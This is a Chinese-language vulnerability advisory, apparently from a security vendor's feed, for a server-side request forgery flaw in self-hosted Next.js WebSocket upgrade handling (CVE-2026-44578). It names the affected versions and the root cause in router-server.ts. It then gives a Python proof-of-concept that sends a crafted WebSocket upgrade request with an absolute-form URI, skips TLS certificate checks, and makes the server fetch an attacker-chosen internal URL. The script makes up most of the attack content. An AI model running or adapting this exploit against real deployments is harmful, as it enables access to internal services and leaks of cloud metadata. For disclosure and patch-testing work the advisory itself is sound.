Next.js WebSocket 服务器端请求伪造漏洞（CVE-2026-44578）

2026-05-19 Next.js WebSocket PoC Public

Description

Next.js是由Vercel公司开发的React全栈框架，提供服务端渲染、静态网站生成、API路由等功能，是构建现代Web应用的热门选择。该产品采用Node.js运行时环境，支持自托管和Vercel云平台部署，广泛应用于企业级Web应用、电商网站、内容管理系统等场景。Next.js在13.4.13至15.5.15和16.0.0至16.2.4版本（仅自托管部署）的WebSocket升级处理程序中存在服务器端请求伪造漏洞，由于router-server.ts未检查finished和statusCode路由完成标志就直接调用proxyRequest()，攻击者可通过发送包含绝对格式URI的WebSocket升级请求，使服务器向localhost:80发起任意HTTP请求，可能导致云元数据泄露、内部服务访问等风险。

PoC

import socket
import ssl
import sys


def ssrf(host, port, internal_url, use_ssl=False):
    req = (
        f"GET {internal_url} HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Connection: Upgrade\r\n"
        f"Upgrade: websocket\r\n"
        f"Sec-WebSocket-Version: 13\r\n"
        f"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n"
        f"\r\n"
    )

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)

    try:
        if use_ssl:
            context = ssl.create_default_context()

            # 忽略证书校验
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE

            s = context.wrap_socket(
                s,
                server_hostname=host
            )

        s.connect((host, port))

        s.sendall(req.encode())

        data = b""

        while True:
            chunk = s.recv(4096)

            if not chunk:
                break

            data += chunk

    except socket.timeout:
        pass

    except Exception as e:
        data = str(e).encode()

    finally:
        s.close()

    return data


if __name__ == "__main__":

    host = "127.0.0.1"
    port = 443

    response = ssrf(
        host,
        port,
        "http://example.com/",
        use_ssl=True
    )

    print(response.decode(errors="ignore"))

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Next.js WebSocket Server-Side Request Forgery Vulnerability (CVE-2026-44578)

References

Related Vulnerabilities